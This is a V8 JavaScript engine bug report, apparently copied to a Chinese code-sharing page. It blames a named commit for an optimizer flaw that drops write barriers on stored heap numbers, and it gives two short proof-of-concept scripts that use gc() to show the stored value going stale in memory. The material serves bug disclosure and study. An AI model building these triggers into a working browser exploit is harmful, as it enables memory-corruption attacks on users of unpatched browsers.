扫码分享
验证：
体验盒子|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 |
/* I think this commit has introduced the bugs: https://chromium.googlesource.com/v8/v8/+/c22ca7f73ba92f22d0cd29b06bb2944a545a8d3e%5E%21/#F0 Here's a snippet. case IrOpcode::kStoreField: { FieldAccess access = FieldAccessOf(node->op()); Node* value_node = node->InputAt(1); NodeInfo* input_info = GetInfo(value_node); MachineRepresentation field_representation = access.machine_type.representation(); // Make sure we convert to Smi if possible. This should help write // barrier elimination. if (field_representation == MachineRepresentation::kTagged && TypeOf(value_node)->Is(Type::SignedSmall())) { field_representation = MachineRepresentation::kTaggedSigned; } WriteBarrierKind write_barrier_kind = WriteBarrierKindFor( access.base_is_tagged, field_representation, access.offset, access.type, input_info->representation(), value_node); ProcessInput(node, 0, UseInfoForBasePointer(access)); ProcessInput(node, 1, TruncatingUseInfoFromRepresentation(field_representation)); ProcessRemainingInputs(node, 2); SetOutput(node, MachineRepresentation::kNone); if (lower()) { if (write_barrier_kind < access.write_barrier_kind) { access.write_barrier_kind = write_barrier_kind; NodeProperties::ChangeOp( node, jsgraph_->simplified()->StoreField(access)); } } return; } Since Smi stores can be performed without write barriers, if it's possible to convert to Smi, it tries to help write barrier elimination by changing field_representation to MachineRepresentation::kTaggedSigned as noted in the comment. But whether or not field_representation has changed, it uses TruncatingUseInfoFromRepresentation to process the value node. But TruncatingUseInfoFromRepresentation(kTaggedSigned) returns UseInfo::AnyTagged() which is also compatible with kTaggedPointer. So even in the case where input_info->representation() is kTaggedPointer and the value is a heap object, it may eliminate the write barrier. Note: It's the same when handling kStoreElement. PoC 1 using kStoreField. */ var a, b;// should be var for (var i = 0; i < 100000; i++) { b = 1; a = i + -0;// -0 is a number, so this will make "a" a heap object. b = a; } print(a === b);// true gc(); print(a === b);// false print(b); /* PoC 2 using kStoreElement. let arr = [{}]; var v;// should be var for (var i = 0; i < 700000; i++) { arr[0] = 1; v = i + -0; arr[0] = v; } print(arr[0] === v)// true gc(); print(arr[0] === v)// false print(arr[0]); */ |
体验盒子
